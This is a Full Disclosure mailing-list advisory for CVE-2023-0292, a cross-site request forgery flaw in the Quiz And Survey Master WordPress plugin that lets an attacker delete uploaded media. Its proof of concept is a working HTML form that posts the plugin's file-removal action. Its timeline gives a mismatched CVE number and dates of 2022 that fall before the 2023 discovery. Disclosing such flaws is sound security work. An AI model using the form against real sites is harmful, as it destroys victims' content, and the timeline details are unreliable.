[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] [CVE-2023-0292] Quiz And Survey Master <= 8.0.8 - Cross-Site Request Forgery to Arbitrary Media
From:       "Julien Ahrens (RCE Security)" <info () rcesecurity ! com>
Date:       2023-02-08 8:12:17
Message-ID: 633D3D13-EF04-425E-8D83-31021F943126 () rcesecurity ! com
[Download RAW message or body]

RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Quiz And Survey Master
Vendor URL:     https://wordpress.org/plugins/quiz-master-next/
Type:           Cross-Site Request Forgery (CSRF) [CWE-352]
Date found:     2023-01-13
Date published: 2023-02-08
CVSSv3 Score:   6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
CVE:            CVE-2023-0292


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Quiz And Survey Master 8.0.8 and below


4. INTRODUCTION
===============
Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used
to create engaging content to drive traffic and increase user engagement.
Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee
surveys. This plugin is the ultimate marketing tool for your website.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The plugin offers the ajax action "qsm_remove_file_fd_question" which is used to
delete uploaded media contents from the WordPress instance. However, the
functionality is not protected by an anti-CSRF token/nonce.

Since there is no anti-CSRF token protecting this functionality, it is vulnerable
to Cross-Site Request Forgery attacks allowing an attacker to delete uploaded
media contents on behalf of the attacked user.

To successfully exploit this vulnerability, a user with the right to access the
plugin must be tricked into visiting an arbitrary website while having an
authenticated session in the application.


6. PROOF OF CONCEPT
===================
The following Proof-of-Concept would delete the uploaded media with the ID "1":

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="qsm&#95;remove&#95;file&#95;fd&#95;question" />
      <input type="hidden" name="media&#95;id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


7. SOLUTION
===========
Update to version 8.0.9


8. REPORT TIMELINE
==================
2023-01-13: Discovery of the vulnerability
2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291
2023-01-18: Sent initial notification to vendor via contact form
2022-01-18: Vendor response
2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability
2022-02-08: Public disclosure


9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

["signature.asc" (signature.asc)]

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEWVym3nC1+ioyX1+TzjvwrNEH1JsFAmPjWVcACgkQzjvwrNEH
1Jvp1Q//TeaDAUvlNlnE/Ht4hTXn16B8PxXgpEy5Gm2V18k9OP+fInv0jE0/L3M1
s2dHPFqGX4dvWrmFct+cBPHM+w4HXhzw0Os/gxIqe39jlzmQxvFixKkWPadgy0DY
9B1UR07nvAu2UJDLKXIFcquUzjcKTbS3F9ulpTPlPZwJNZPyXW54TvtWaAnTJ769
0PYaLIWGhMnRkLjBBDkaPyFK1xQ4KxMgaa/obFIsPu6/i/CmeG3CmAJP4bs3p0Hn
6gDSsziLtL2kjW3Ac/1xjNoByKdZwp822DedRp1FSavZ+8Cm+pGM7qyuX4Qb4eu7
HaDWBNG2JU3db022nkJWwd/InDpY+jndRrHity8wfqHi2oG/HyBAvs894IYAbnC4
hk4vtbF6Yz0lYhthZlHXUUEDP0ygjmYoCD1BMzFiBLmVqqihVxLtbmM4xPHQDCDi
rRlnzms53WbxbIT3W5X5TJ58+3Fsu0R1qYMmv62geW5RXFm1j/IpuXJLRdhhppnv
M8cFbBcm6r9z02rK733ldPX39t7jOeScsd8UOrpGsznocKhNPK/NC8LiOjsHfjLJ
xzuSaervfYAcRW53rZ58ii2McocOqGAqu7QQZckbSkIHAgXIGL5UMJDSSq+BzCCv
IQq/ZsLDNBZCZjDHh75oRORA0McnUFyqjwzahUEJMpumSt9HBXA=
=9NEZ
-----END PGP SIGNATURE-----


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
--===============2033102301965057744==--

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic